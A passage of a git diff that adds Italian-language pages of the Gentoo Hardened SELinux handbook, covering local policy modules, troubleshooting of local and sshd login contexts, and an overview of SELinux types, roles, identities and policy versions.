+Le identità di SELinux specificate dalla politica (e non dall'infrastruttura

+gestionale) non possono essere rimosse.

+</note>

+

+</body>

+</subsection>

+</section>

+

+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-localmod.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-localmod.xml
new file mode 100644
index 00000000..0ecc56cd
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-localmod.xml
@@ -0,0 +1,187 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-localmod.xml,v 1.2 2008/02/03 19:48:49 scen Exp $ -->
+
+<sections>
+
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section>
+<title>Introduzione</title>
+<subsection>
+<body>
+
+<p>
+Questa guida mostra come configurare un modulo di una politica in modo da
+modificare localmente le regole di una politica.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Preparazione</title>
+<subsection>
+<body>
+
+<p>
+Anzitutto occorre effettuare una copia del Makefile di esempio dalla cartella
+dei documenti della politica di base (selinux-base-policy) nella cartella che
+verrà utilizzata per costruire la politica. Si suggerisce di utilizzare la
+cartella /root: la home directory del sysadm infatti è inclusa tra quelle in cui
+lo strumento <c>semodule</c> cercherà i moduli delle politiche.
+</p>
+
+<pre caption="">
+# <i>zcat /usr/share/doc/selinux-base-policy-20061008/Makefile.example.gz > /root/Makefile</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Scrivere un file TE</title>
+<subsection>
+<body>
+
+<p>
+Nei moduli delle politiche è possibile utilizzare la maggior parte delle
+istruzioni di SELinux: occorre solamente aggiungere alcune istruzioni aggiuntive
+per le operazioni specifiche.
+</p>
+
+<pre caption="Esempio di local.te">
+policy_module(local,1.0)
+
+require {
+        type sysadm_su_t, newrole_t;
+}
+allow sysadm_su_t newrole_t:process sigchld;
+</pre>
+
+<p>
+Oltre alla regola permissiva di base (allow), queste esempio mostra alcune
+istruzioni richieste dai moduli delle politiche. La prima consiste in una macro
+policy_module() che indica il nome del modulo e la sua versione. E' presente
+inoltre un blocco require, nel quale vengono specificati tutti i tipi richiesti
+da questo modulo affinchè funzioni correttamente. Tutti i tipi utilizzati nel
+modulo devono essere dichiarati al suo interno o esplicitamente richiesti.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Scrivere un file FC (opzionale)</title>
+<subsection>
+<body>
+
+<p>
+Il contesto del file è opzionale e ha la stessa sintassi descritta nei capitoli
+precedenti.
+</p>
+
+<pre caption="Esempio di local.fc">
+/opt/myprogs/mybin      --      system_u:object_r:bin_t
+</pre>
+
+<p>
+I tipi utilizzati nei file di contesto dovrebbero venire richiesti o dichiarati
+all'interno del file TE.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compilare i moduli delle politiche</title>
+<subsection>
+<body>
+
+<p>
+Per compilare tutti i moduli della directory occorre semplicemente eseguire il
+comando <c>make</c>. Il modulo verrà compilato espressamente per la politica
+corrente, come specificato in /etc/selinux/config.
+</p>
+
+<pre caption="">
+# <i>make</i>
+Compiling strict local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating strict local.pp policy package
+</pre>
+
+<p>
+Per compilare moduli per una politica differente rispetto a quella configurata,
+si utilizzi l'opzione <c>NAME=</c>.
+</p>
+
+<pre caption="">
+# <i>make NAME=targeted</i>
+Compiling targeted local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating targeted local.pp policy package
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Caricare i moduli</title>
+<subsection>
+<body>
+
+<p>
+I moduli possono venire caricati nella politica correntemente configurata
+semplicemente utilizzando il parametro load del Makefile.
+</p>
+
+<pre caption="">
+# <i>make load</i>
+</pre>
+
+<p>
+Il parametro load rispetta l'opzione <c>NAME=</c>; in alternativa, si può
+ricorrere al comando <c>semodule</c> per caricare individualmente i moduli.
+</p>
+
+<pre caption="">
+# <i>semodule -i local.pp</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Politica di riferimento per costruire nuovi moduli</title>
+<subsection>
+<body>
+
+<p>
+La nuova politica utilizzata da Gentoo è basata sulla <uri
+link="http://oss.tresys.com/projects/refpolicy">Politica di riferimento di
+SELinux</uri>. Per ulteriori informazioni su come costruire un modulo completo
+per la politica di riferimento, si veda <uri
+link="http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted">Reference
+Policy Wiki</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-loglocal.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-loglocal.xml
new file mode 100644
index 00000000..a9502078
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-loglocal.xml
@@ -0,0 +1,254 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-loglocal.xml,v 1.2 2008/06/04 19:40:31 scen Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Si comincia...</title>
+<subsection>
+<body>
+
+<p>
+Per effettuare le seguenti azioni, occorre appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<p>
+Eseguire <c>sestatus -v</c>. Selezionare il collegamento relativo al contesto
+che non corrisponde:
+</p>
+
+<table>
+<tr>
+  <th>Processo</th>
+  <th>Contesto</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/agetty</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:getty_t</uri></ti>
+</tr>
+<tr>
+  <th>File</th>
+  <th>Contesto</th>
+</tr>
+<tr>
+  <ti>/bin/login</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:login_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap7">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto iniziale errato</title>
+<subsection>
+<title>Verificare l'etichetta Init</title>
+<body>
+
+<p>
+Esistono molti possibili motivi per cui init può utilizzare un contesto errato.
+Anzitutto occorre verificare che init sia stato etichettato correttamente,
+facendo riferimento al risultato del comando <c>sestatus</c> su /sbin/init. Nel
+caso in cui sia differente da <c>system_u:object_r:init_exec_t</c>, etichettare
+nuovamente sysvinit.
+</p>
+
+<pre caption="Correggere il contesto di init">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Verificare le politiche disponibili</title>
+<body>
+
+<p>
+Per eseguire questa azione, occorre appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<p>
+SELinux deve necessariamente avere a disposizione almeno una politica binaria in
+/etc/selinux/{strict,targeted}/policy. In caso contrario, installare la
+politica.
+</p>
+
+<pre caption="Installare una politica binaria">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Verificare che Init possa caricare la politica</title>
+<body>
+
+<p>
+Controllo conclusivo per assicurarsi che Init possa caricare la politica:
+eseguire <c>ldd</c> su init e -se il risultato fosse differente da libselinux-
+emergere nuovamente sysvinit.
+</p>
+
+<pre caption="Controllare la corretta installazione di Init">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+A questo punto occorre riavviare in modo che init ottenga il contesto corretto
+e carichi la politica.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di agetty non corretto</title>
+<subsection>
+<body>
+
+<p>
+Verificare che agetty sia stato etichettato correttamente: si faccia riferimento
+al valore ritornato da sestatus per /sbin/agetty. Se il risultato fosse
+differente da <c>system_u:object_r:getty_exec_t</c>, occorre etichettare
+nuovamente util-linux e riavviare tutti i getty.
+</p>
+
+<pre caption="Correggere il contesto di agetty">
+# <i>rlpkg util-linux</i>
+# <i>killall agetty</i> <comment>(verranno riavviate tutte le istanze)</comment>
+</pre>
+
+<p>
+Adesso tutti gli agetty dovrebbero aver ottenuto il corretto contesto
+<c>system_u:object_r:getty_exec_t</c>: si provi a connettersi nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di Login non corretto</title>
+<subsection>
+<body>
+
+<p>
+Il programma di accesso (/bin/login) non è stato etichettato correttamente.
+Ripetere l'operazione su shadow.
+</p>
+
+<pre caption="Rietichettare shadow">
+# <i>rlpkg shadow</i>
+</pre>
+
+<p>
+/bin/login adesso dovrebbe appartenere a <c>system_u:object_r:login_exec_t</c>.
+Provare ad accedere nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di PAM non corretto</title>
+<subsection>
+<body>
+
+<p>
+Il server SSHd deve essere in grado di utilizzare PAM per l'autenticazione degli
+utenti. Il programma di verifica delle password di PAM (/sbin/unix_chkpwd) deve
+venire etichettato correttamente, così che sshd possa trasferire il contesto al
+controllo della password. Etichettare nuovamente PAM.
+</p>
+
+<pre caption="Correggere il contesto di unix_chkpwd">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Il programma di verifica della password dovrebbe appartenere a
+<c>system_u:object_r:chkpwd_exec_t</c>. Si provi ad accedere nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto del file delle password errato</title>
+<subsection>
+<body>
+
+<p>
+I file delle password (/etc/passwd e /etc/shadow) devono essere etichettati
+correttamente, altrimenti PAM non sarà in grado di autenticare gli utenti.
+Etichettare nuovamente i file.
+</p>
+
+<pre caption="Correggere il contesto di shadow">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+I file delle password e shadow adesso dovrebbero appartenere rispettivamente a
+<c>system_u:object_r:etc_t</c> e <c>system_u:object_r:shadow_t</c>. Riprovare ad
+accedere.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di Bash non corretto</title>
+<subsection>
+<body>
+
+<p>
+Bash deve essere etichettato correttamente, in modo da permettere la transizione
+degli utenti nei propri domini nel momento in cui accedono al sistema.
+Etichettare nuovamente bash.
+</p>
+
+<pre caption="Correggere il contesto di Bash">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (/bin/bash) adesso dovrebbe appartenere a
+<c>system_u:object_r:shell_exec_t</c>. Provare ad accedere nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-logremote.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-logremote.xml
new file mode 100644
index 00000000..90426d66
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-logremote.xml
@@ -0,0 +1,270 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-logremote.xml,v 1.2 2008/06/04 19:43:15 scen Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section
+><title>Si comincia...</title>
+<subsection>
+<body>
+
+<p>
+Per effettuare le seguenti azioni, occorre appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<p>
+Eseguire <c>sestatus -v</c>. Selezionare il primo collegamento relativo al
+contesto che non corrisponde:
+</p>
+
+<table>
+<tr>
+  <th>Processo</th>
+  <th>Contesto</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/usr/sbin/sshd</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:sshd_t</uri></ti>
+</tr>
+<tr>
+  <th>File</th>
+  <th>Contesto</th>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto Initi errato</title>
+<subsection>
+<title>Verificare l'etichetta Init</title>
+<body>
+
+<p>
+Esistono molti possibili motivi per cui init può utilizzare un contesto errato.
+Anzitutto occorre verificare che init sia stato etichettato correttamente,
+facendo riferimento al risultato del comando sestatus su /sbin/init. Nel
+caso in cui sia differente da <c>system_u:object_r:init_exec_t</c>, etichettare
+nuovamente sysvinit.
+</p>
+
+<pre caption="">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Verificare le politiche disponibili</title>
+<body>
+
+<p>
+Per eseguire questa azione, occorre appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<p>
+SELinux deve necessariamente avere a disposizione almeno una politica binaria in
+/etc/selinux/{strict,targeted}/policy. In caso contrario, installare la
+politica.
+</p>
+
+<pre caption="Installare una politica binaria">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Verificare che Init possa caricare la politica</title>
+<body>
+
+<p>
+Il controllo conclusivo viene fatto per assicurarsi che Init possa caricare la
+politica. Eseguire <c>ldd</c> su init e se l'output non contenesse libselinux,
+emergere nuovamente sysvinit.
+</p>
+
+<pre caption="">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+A questo punto occorre riavviare in modo che init ottenga il contesto corretto
+e carichi la politica.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di sshd non corretto</title>
+<subsection>
+<body>
+
+<p>
+Un'altra possibilità è che sshd non sia etichettato correttamente, ovvero che
+non è in esecuzione nel contesto corretto. Etichettare nuovamente openssh e
+riavviare sshd.
+</p>
+
+<pre caption="">
+# <i>rlpkg openssh</i>
+# <i>/etc/init.d/sshd restart</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di PAM non corretto</title>
+<subsection>
+<body>
+
+<p>
+Il server SSHd deve essere in grado di utilizzare PAM per l'autenticazione degli
+utenti. Il programma di verifica delle password di PAM (/sbin/unix_chkpwd) deve
+venire etichettato correttamente, così che sshd possa trasferire il contesto al
+controllo della password. Etichettare nuovamente PAM.
+</p>
+
+<pre caption="">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Il programma di verifica della password dovrebbe appartenere a
+<c>system_u:object_r:chkpwd_exec_t</c>. Si provi ad accedere nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesti del file delle password errati</title>
+<subsection>
+<body>
+
+<p>
+I file delle password (/etc/passwd e /etc/shadow) devono essere etichettati
+correttamente, altrimenti PAM non sarà in grado di autenticare gli utenti.
+Etichettare nuovamente i file.
+</p>
+
+<pre caption="">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+I file delle password e shadow adesso dovrebbero appartenere rispettivamente a
+<c>system_u:object_r:etc_t</c> e <c>system_u:object_r:shadow_t</c>. Riprovare ad
+accedere.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Contesto di Bash non corretto</title>
+<subsection>
+<body>
+
+<p>
+Bash deve essere etichettato correttamente, in modo da permettere la transizione
+degli utenti nei propri domini nel momento in cui accedono al sistema.
+Etichettare nuovamente bash.
+</p>
+
+<pre caption="">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (/bin/bash) adesso dovrebbe appartenere a
+<c>system_u:object_r:shell_exec_t</c>. Provare ad accedere nuovamente.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Altri problemi relativi a sshd</title>
+<subsection>
+<title>Shell valida</title>
+<body>
+
+<p>
+Per prima cosa, assicurarsi che l'utente abbia una shell valida.
+</p>
+
+<pre caption="">
+# <i>grep</i> <comment>username</comment> <i>/etc/passwd | cut -d: -f7</i>
+/bin/bash <comment>(o la propria shell preferita)</comment>
+</pre>
+
+<p>
+Se il precedente comando non restituisce alcunchè, o la shell è sbagliata,
+impostare la shell dell'utente.
+</p>
+
+<pre caption="">
+# <i>usermod -s /bin/bash</i> <comment>username</comment>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>PAM abilitato</title>
+<body>
+
+<p>
+PAM dev'essere abilitato in sshd. Assicurasi che questa linea in
+<c>/etc/ssh/sshd_config</c> non sia commentata:
+</p>
+
+<pre caption="">
+UsePAM yes
+</pre>
+
+<p>
+SELinux attualmente permettere solamente a PAM e a pochi programmi selezionati
+di accedere direttamente a <c>/etc/shadow</c>; perciò, openssh ora deve usare
+PAM per l'autenticazione della password (la chiave pubblica funziona ancora).
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-overview.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-overview.xml
new file mode 100644
index 00000000..eb082e8a
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-overview.xml
@@ -0,0 +1,722 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-overview.xml,v 1.5 2010/08/03 22:34:22 scen Exp $ -->
+
+<sections>
+<version>1.5</version>
+<date>2009-07-13</date>
+
+<section>
+<title>Tipi di SELinux</title>
+<subsection>
+<body>
+
+<p>
+Si definisce tipo un attributo assegnato ad oggetti come file, porte di rete,
+ecc. Il tipo di un processo si riferisce comunemente al suo dominio. Una
+politica di SELinux è principalmente costituita da regole di applicazioni per i
+tipi, che descrivono come i domini possono interagire sia con gli altri oggetti
+che tra loro stessi. Il nome di un tipo termina solitamente col suffisso
+&#39;_t&#39;, come <c>sysadm_t</c>. Questo risulta essere l'attributo più
+importante per un processo o un oggetto, dal momento che la maggior parte delle
+decisioni delle politiche sono basate sui tipi di sorgente e destinazione.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ruoli di SELinux</title>
+<subsection>
+<body>
+
+<p>
+SELinux lavora sui tipi, quindi il suo concetto di ruolo è differente da quello
+di altri sistemi di controllo degli accessi basati sui ruoli. Infatti non
+vengono assegnati permessi ai ruoli: un ruolo rappresenta un insieme di tipi
+che un utente può utilizzare. Per esempio, un amministratore di sistema che sta
+utilizzando la macchina per eseguire delle operazioni da utente normale,
+dovrebbe appartenere al ruolo <c>staff_r</c>; per ottenere i privilegi di
+amministratore, viene richiesto un passaggio al ruolo <c>sysadm_r</c>. Nel caso
+di SELinux, il dominio al quale un utente può appartenere è determinato dal suo
+ruolo. Se un ruolo non ha i permessi per accedere ad un dominio, la transizione
+necessaria verrà negata, anche se le regole standard di Linux la
+permetterebbero. Un ruolo solitamente possiede il suffisso &#39;_r&#39;, come
+<c>system_r</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Identità di SELinux</title>
+<subsection>
+<title>Cos'è una identità in SELinux?</title>
+<body>
+
+<p>
+Una identità di SELinux corrisponde al nome utente in Linux. Il cambio di
+identità dovrebbe essere limitato ad alcuni casi molto specifici, dal momento
+che i controlli di accesso basati su regole fanno affidamento sulle identità di
+SELinux. Quindi, in linea di massima, l'identità di SELinux di un utente non
+cambierà all'interno di una sessione. La possibilità in Linux di cambiare lo
+userid tramite il comando <c>set</c>, rende assolutamente inappropriato
+l'utilizzo dello userid per le identità di SELinux. L'identità assegnata ad un
+utente deve essere abbinata necessariamente al nome utente in Linux: ogni
+identità viene abilitata ad un insieme di ruoli.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Mappare le identità di SELinux</title>
+<body>
+
+<p>
+Le politiche di SELinux dispongono di numerose identità predefinite che
+dovrebbero essere sufficienti per tutti gli utenti. E' necessario configurare
+le corrispondenze delle identità solamente nella politica più rigorosa, ma non
+nelle politiche di destinazione: nella maggior parte dei casi è sufficiente
+l'identità predefinita (user_u)
+</p>
+
+<p>
+Quando un utente accede al sistema, l'identità utilizzata da SELinux viene
+determinata da questa corrispondenza.
+</p>
+
+<table>
+<tr>
+  <th>Identità di SELinux</th>
+  <th>Ruoli</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>system_u</ti>
+  <ti>system_r</ti>
+  <ti>
+    Processi di sistema (non interattivi). Non dovrebbe venire abilitata agli
+    utenti.
+  </ti>
+</tr>
+<tr>
+  <ti>user_u</ti>
+  <ti>user_r</ti>
+  <ti>Utenti generici senza privilegi. E' l'identità predefinita.</ti>
+</tr>
+<tr>
+  <ti>staff_u</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Amministratori di sistema che accedono anche per attività da utente
+    standard.
+  </ti>
+</tr>
+<tr>
+  <ti>sysadm_u</ti>
+  <ti>sysadm_r</ti>
+  <ti>
+    Amministratori di sistema che accedono per eseguire unicamente operazioni di
+    amministrazione. E' consigliabile non utilizzare questa identità.
+  </ti>
+</tr>
+<tr>
+  <ti>root</ti>
+  <ti>staff_r, sysadm_r</ti>
+  <ti>
+    Identità speciale per l'utente root. Gli altri utenti dovrebbero invece
+    utilizzare staff_u.
+  </ti>
+</tr>
+</table>
+
+<p>
+Per ulteriori informazioni riguardo alla configurazione della corrispondenza
+delle identità, vedere la relativa sezione della <uri
+link="selinux-handbook.xml?part=3&amp;chap=2#doc_chap3">Guida a SELinux</uri>
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Il contesto di SELinux</title>
+<subsection>
+<body>
+
+<p>
+Si definisce contesto di SELinux l'uso combinato e contemporaneo dei tre modelli
+di sicurezza descritti precedentemente. Un contesto quindi ha la forma
+<c>identità</c>:<c>ruolo</c>:<c>tipo</c>. Il contesto di SELinux è il parametro
+più importate che viene valutato per determinare un accesso.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Il contesto degli oggetti</title>
+<body>
+
+<p>
+Di seguito viene riportato l'esito tipico di un comando <c>ls -Z</c>:
+</p>
+
+<pre caption="Esempio: esito di ls -Z">
+drwxr-xr-x  root     root     system_u:object_r:bin_t          bin
+drwxr-xr-x  root     root     system_u:object_r:boot_t         boot
+drwxr-xr-x  root     root     system_u:object_r:device_t       dev
+drwxr-xr-x  root     root     system_u:object_r:etc_t          etc
+</pre>
+
+<p>
+Le prime tre colonne mostrano i permessi, l'utente ed il gruppo standard di
+linux. La quarta colonna rappresenta il contesto di sicurezza del file o della
+directory. Agli oggetti viene assegnato il ruolo generico <c>object_r</c>.
+Analizzando gli ultimi due campi, si può notare che i file vengono visualizzati
+nell'identità di sistema e si dividono in  quattro differenti tipologie:
+<c>bin_t</c>, <c>boot_t</c>, <c>device_t</c> ed <c>etc_t</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Il contesto dei processi</title>
+<body>
+
+<p>
+Un comando <c>ps ax -Z</c> tipicamente può generare un output simile al
+seguente:
+</p>
+
+<pre caption="Esempio: esito di ps ax -Z">
+  PID CONTEXT                                  COMMAND
+    1 system_u:system_r:init_t                 [init]
+    2 system_u:system_r:kernel_t               [keventd]
+    3 system_u:system_r:kernel_t               [ksoftirqd_CPU0]
+    4 system_u:system_r:kernel_t               [kswapd]
+    5 system_u:system_r:kernel_t               [bdflush]
+    6 system_u:system_r:kernel_t               [kupdated]
+  706 system_u:system_r:syslogd_t              [syslog-ng]
+  712 system_u:system_r:httpd_t                [apache]
+  791 system_u:system_r:sshd_t                 [sshd]
+  814 system_u:system_r:crond_t                [cron]
+  826 system_u:system_r:getty_t                [agetty]
+  827 system_u:system_r:getty_t                [agetty]
+  828 system_u:system_r:getty_t                [agetty]
+  829 system_u:system_r:getty_t                [agetty]
+  830 system_u:system_r:getty_t                [agetty]
+  831 system_u:system_r:httpd_t                [apache]
+  832 system_u:system_r:httpd_t                [apache]
+  833 system_u:system_r:httpd_t                [apache]
+23093 system_u:system_r:sshd_t                 [sshd]
+23095 user_u:user_r:user_t                     [bash]
+23124 system_u:system_r:sshd_t                 [sshd]
+23126 user_u:user_r:user_t                     [bash]
+23198 system_u:system_r:sshd_t                 [sshd]
+23204 user_u:user_r:user_t                     [bash]
+23274 system_u:system_r:sshd_t                 [sshd]
+23275 pebenito:staff_r:staff_t                 [bash]
+23290 pebenito:staff_r:staff_t                 ps ax -Z
+</pre>
+
+<p>
+Nell'esempio riportato vengono mostrate le informazioni generiche riguardanti un
+processo, con l'aggiunta del contesto del processo. Come si può notare, i
+processi di sistema e i demoni vengono eseguiti con identità <c>system_u</c> e
+ruolo <c>system_r</c>, mentre i domini dipendono dal programma. Sono presenti
+alcuni utenti connessi tramite ssh, che utilizzano l'identità generica
+<c>user_u</c>. Infine si è connesso un utente con identità <c>pebenito</c> con
+ruolo <c>staff_r</c> e dominio <c>staff_t</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>I file delle politiche di SELinux</title>
+<subsection>
+<body>
+
+<p>
+I sorgenti delle politiche di SELinux non vengono più installate sul sistema.
+Nelle cartelle <c>/usr/share/selinux/{strict,targeted}</c> è presente una
+collezione di pacchetti ed header di politiche per costruire i moduli
+desiderati. I file delle politiche vengono processati da m4, e quindi il
+compilatore di politiche <c>checkmodule</c> ne verifica la correttezza
+sintattica e genera il modulo. A questo punto viene creato un pacchetto per la
+politica tramite il programma <c>semodule_package</c>, utilizzando il modulo
+della politica ed il file dei contesti. La politica pacchettizzata può venire
+caricata all'interno di un kernel SELinux in esecuzione inserendola
+nell'archivio dei moduli.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>*.pp</title>
+<body>
+
+<p>
+Contiene i pacchetti per le politica: affinchè sia possibile richiamarli
+all'interno della politica, devono venire inseriti nell'archivio dei moduli.
+Ogni pacchetto contiene un modulo di politica caricabile ed opzionalmente un
+file di contesto.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>include/</title>
+<body>
+
+<p>
+Gli header per questa politica.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Versioni dei pacchetti binari delle politiche</title>
+<subsection>
+<body>
+
+<p>
+In fase di compilazione, alla politica binaria risultante viene associata una
+versione: la prima ad essere stata inserita nel kernel 2.6 è versione 15. Il
+numero di una versione viene incrementato solamente nel momento in cui vengono
+aggiunte nuove funzionalità che richiedono modifiche strutturali alla politica
+compilata. Per esempio, dal kernel 2.6.5 sono state aggiunte le estensioni
+condizionali delle poliche: questo ha richiesto che la versione delle politiche
+venisse incrementata alla 16.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Quale versione utilizza il mio kernel?</title>
+<body>
+
+<p>
+La versione della politica di un kernel in uso può essere determinato
+utilizzando <c>sestatus</c> o <c>policyvers</c>. I kernel attuali garantiscono
+la retrocompatibilità e sono in grado di caricare anche le versioni precedenti
+delle politiche (ma questa funzione potrebbe venire rimossa in futuro).
+</p>
+
+<note>
+L'infrastruttura di gestione delle politiche (libsemanage) provvederà a creare e
+utilizzare automaticamente la versione corretta delle politiche, senza che venga
+richiesta nessun'altra operazione.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Versioni delle politiche</title>
+<body>
+
+<p>
+La tabella seguente contiene le versioni delle politiche presenti nei kernel
+2.6.
+</p>
+
+<table>
+<tr>
+  <th>Versione</th>
+  <th>Descrizione</th>
+  <th>Versioni del kernel</th>
+</tr>
